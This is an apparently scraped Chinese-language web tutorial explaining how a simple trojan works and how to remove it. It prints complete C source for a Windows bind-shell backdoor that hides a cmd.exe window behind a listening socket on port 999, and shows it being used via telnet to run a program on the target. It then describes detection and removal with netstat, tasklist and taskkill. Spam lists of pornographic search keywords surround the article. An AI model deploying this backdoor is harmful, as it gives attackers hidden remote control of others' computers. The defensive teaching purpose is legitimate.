<em id="0a85b"><option id="0a85b"></option></em>

<abbr id="0a85b"></abbr>

      <nobr id="0a85b"></nobr>
        <tr id="0a85b"></tr>
        9久久伊人精品综合,亚洲一区精品视频在线,成 人免费va视频,国产一区二区三区黄网,99国产精品永久免费视频,亚洲毛片多多影院,精品久久久无码人妻中文字幕,无码国产欧美一区二区三区不卡
        學習啦>學習電腦>電腦安全>病毒知識>

        簡單木馬分析與防范

        時間: 若木635 分享

          電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關文章,歡迎大家圍觀參考,想了解更多,請繼續關注學習啦。

          一、前言

          病毒與木馬技術發展到今天,由于二者總是相輔相成,你中有我,我中有你,所以它們之間的界限往往已經不再那么明顯,相互之間往往都會采用對方的一些技術以達到自己的目的,所以現在很多時候也就將二者直接統稱為“惡意代碼”。這次我打算用兩篇文章的篇幅來討論病毒與簡單的木馬相互結合的分析與防范方法。本篇也就是第一篇,討論的是利用只有服務器端的木馬程序實現“病毒”的啟動。而在下一篇中,我會討論既有服務器端又有客戶端的木馬程序與“病毒”相結合的分析與防范。

          二、簡單木馬的原理

          由于木馬技術與計算機網絡息息相關,所以也就離不開Socket套接字編程。這里我不打算詳述Socket套接字編程的細節,這個在MSDN上有非常詳細的講述,無非就是根據套接字的編程的流程,將相應的內容填入“模板”。而既然要實現通信的效果,就需要遵循一個通信模型,木馬一般都是C/S(客戶端/服務端)模式的。本篇文章所要論述的,雖然不涉及客戶端的編寫,但實際上我只不過是把cmd程序當成了客戶端,因此本質上還是C/S模式的。

          C/S模型的開發,需要在服務器端(欲攻擊的計算機)上綁定一個IP地址和一個端口號,然后進行監聽,等待客戶端(攻擊方)的連接。客戶端則是向相應的IP地址和端口號發起連接,服務器端接受后,雙方就可以開始進行通信,這就是基于TCP協議的通信,也是接下來要用到的方法。另外還有一種基于UDP協議的方法,這種方法是在服務器端進行相應的綁定后,客戶端不需要進行連接直接就可以和服務器進行通信。可見,TCP要比UDP可靠,而UDP要比TCP效率高。

          本篇文章所論述的服務器端編程的基本原理如下:

          1、打開一通信通道(綁定某個端口)并告知本地主機,它在某一個地址上接收客戶請求。可以采用socket和bind函數實現。

          2、等待用戶請求到達該端口。利用listen函數實現。

          3、接收到服務請求,處理該請求并發送應答信號。利用accept函數實現。

          4、返回第二步,等待其他客戶的請求。

          5、關閉連接。利用closesocket函數實現。

          以上所使用的函數順序如下:

          socket()→bind()→listen()→accept()→closesocket()

          三、木馬的編程實現

          當服務器端運行這個程序后,客戶端可以利用telnet向服務器端發起連接,成功后自動打開cmd窗口,就可以通過DOS命令來直接控制服務器端的目標計算機,代碼如下:

          #pragma comment(lib,"ws2_32.lib") #include

          #include #define MasterPort 999 //欲利用的端口號

          int main()

          { WSADATA WSADa;

          sockaddr_in SockAddrIn; SOCKET CSocket,SSocket;

          int iAddrSize; PROCESS_INFORMATION ProcessInfo;

          STARTUPINFO StartupInfo; char szCMDPath[255];

          //初始化數據

          ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));

          ZeroMemory(&WSADa,sizeof(WSADATA)); //獲取CMD路徑

          GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

          //加載ws2_32.dll WSAStartup(0x0202,&WSADa);

          //設置本地信息和綁定協議,建立Socket SockAddrIn.sin_family = AF_INET;

          SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort);

          CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設置綁定端口999

          bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設置服務器端監聽端口

          listen(CSocket,1); iAddrSize = sizeof(SockAddrIn);

          //開始連接遠程服務器,并配置隱藏窗口結構體

          SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO);

          StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

          StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket;

          StartupInfo.hStdError = (HANDLE)SSocket; //創建匿名管道

          CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

          //關閉進程句柄

          CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread);

          //關閉套接字 closesocket(CSocket);

          closesocket(SSocket); //釋放ws2_32.dll動態鏈接庫

          WSACleanup();

          return 0; }

          由于代碼比較簡單,這里不再進行分析。

          四、木馬與“病毒”的結合利用

          之前文章所討論的“病毒”的自啟動方式,都是需要借助于“外力”作用,而這次我的“病毒”則是通過植入木馬,連接成功后輸入DOS命令來啟動,但是前提是木馬需要先啟動。這里我用了兩臺計算機(也可以使用虛擬機),一臺是客戶端,一臺是服務器端,服務器端已經放置了木馬程序,現在就在服務器端執行該木馬。之后在客戶端中打開cmd程序,輸入:

          [plain] view plaincopy

          telnet 192.168.1.107 999

          這句命令的意思是通過telnet進行遠程登錄,連接到ip地址為192.168.1.107的計算機上的999號端口。成功后就可以發現已經連接到了對方的計算機上:

          那么此時就可以通過DOS命令對目標計算機進行控制。這里假設目標計算機的E盤根目錄下保存有我之前編寫的Hacked.exe程序,那么可以通過輸入如下命令進行運行:

          [sql] view plaincopy

          start e:\hacked.exe

          此時Hacked.exe程序已經在目標計算機上執行,顯示如下:

          當然,我這里是假設Hacked.exe已放入對方的電腦,這個前提會有諸多的限制,因為更好的方法是將Hacked.exe程序由客戶端傳到服務器端再進行啟動。不過,由于這個方法比較危險,為了避免別有用心的人拿它去做不軌的事情,因此不再深入討論。我的原則始終是以討論如何更好地防范惡意程序為主,而對于惡意代碼的實現,也就是點到為止。無需多加討論的,堅決不進行深入探討。

          五、木馬的查殺

          上述代碼所實現的是一個比較簡單的正向連接后門程序,并沒有添加進程隱藏功能,也沒有增加啟動項目,也就是說,當服務器端計算機重新啟動后,這個木馬就失效了,需要重新運行才可以。我這里講講如何手動查殺。當服務器端被植入木馬后,服務器端可以進入cmd(若cmd被映像劫持可參考我之前的文章),然后輸入命令:

          [plain] view plaincopy

          netstat –ano

          這個命令可以查看當前的網絡連接狀態,如圖所示:

          在圖中可以看到,本地端口999與IP地址為192.168.1.104的主機建立了TCP連接,而且也可以看到進程的ID值為1292(每次啟動木馬的PID值可能不一樣)。對于一般的木馬來說,在命令提示符下就可以實現“查”的操作,隨著以后討論的深入,木馬復雜度會不斷加深,我可能會使用專業查殺工具或者采用自制的工具實現“查”的功能。

          利用PID值可以查看進程的文件名,輸入:

          [plain] view plaincopy

          tasklist | find “1292”

          就可以知道PID值為1292的進程的名稱為“MiniTrojan.exe”。之后使用PID值就能夠將木馬進程從計算機中刪除,這里用taskkill命令:

          [plain] view plaincopy

          taskkill /f /pid 1292 /t

          這句命令的意思是,強制(/f)終止PID值為1292 的進程和任何由此啟動的進程(/t)。最后一步是找到MiniTrojan.exe的位置,并刪除,就能夠徹底將木馬趕出計算機了,這里不再贅述。

          六、小結

          這篇文章所講的木馬程序需要在cmd下運行,盡管遠不如圖形界面直觀,但是這小小的木馬,也能夠造成很大的威脅了。不過,這畢竟是一匹“小馬”,采用簡單的DOS命令就能夠查殺,還是很好對付的。其實手動查殺病毒木馬的流程就是這樣,查木馬病毒往往需要經驗,需要敏銳的嗅覺,之后的“殺”的階段,需要先把病毒木馬的進程結束掉,然后才能刪掉其主程序。即便是復雜的惡意程序,基本上也是這個原理。

        簡單木馬分析與防范

        電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關文章,歡迎大家圍觀參考,想了解更多,請繼續關注學習啦。 一、前言 病毒與木馬技術
        推薦度:
        點擊下載文檔文檔為doc格式

        精選文章

        • 怎樣利用簡單程序漏洞反病毒
          怎樣利用簡單程序漏洞反病毒

          電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦病毒,今天小編在這里給大家推薦一些預防電腦病毒相關文章,

        • 什么是電腦病毒
          什么是電腦病毒

          電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

        • 病毒有什么特點
          病毒有什么特點

          電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

        • 病毒的傳播途徑
          病毒的傳播途徑

          電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

        95165 主站蜘蛛池模板: 99精品国产中文字幕| 18禁黄无码免费网站高潮| 亚洲爆乳大丰满无码专区| 天堂网亚洲综合在线| 欧美人与zoxxxx另类| 亚洲中文字幕综合网在线| 午夜福利国产精品视频| 99热这里只有成人精品国产| 丰满妇女强制高潮18xxxx| 青春草在线观看播放网站| 夜夜高潮夜夜爽高清视频| 欧美亚洲综合成人a∨在线| 国产老熟女乱子一区二区| 男女激情一区二区三区| 色婷婷亚洲综合五月| 亚洲高清国产成人精品久久| 国产精品亚欧美一区二区三区| 精品无码国产不卡在线观看| 无码一区二区三区AV免费| 国产精品麻豆成人av| 国产精品无码a∨麻豆| 自拍欧美亚洲| 97成人碰碰久久人人超级碰oo| 成人网站在线进入爽爽爽| 91精品乱码一区二区三区| 久久精品蜜芽亚洲国产AV| 国产午夜精品久久精品电影| 加勒比亚洲视频在线播放| 中文字幕人成人乱码亚洲| 国产成人高清在线观看视频 | 亚洲aⅴ无码专区在线观看春色| 亚洲av产在线精品亚洲第一站| 亚洲av首页在线| 一本久道久久综合婷婷五月| 99久久国产成人免费网站| 亚洲欧美日韩国产成人| 亚洲精品日韩精品久久| 亚洲国产成人久久综合一区| av天堂亚洲天堂亚洲天堂| 尹人香蕉久久99天天拍| 精品国产精品国产偷麻豆|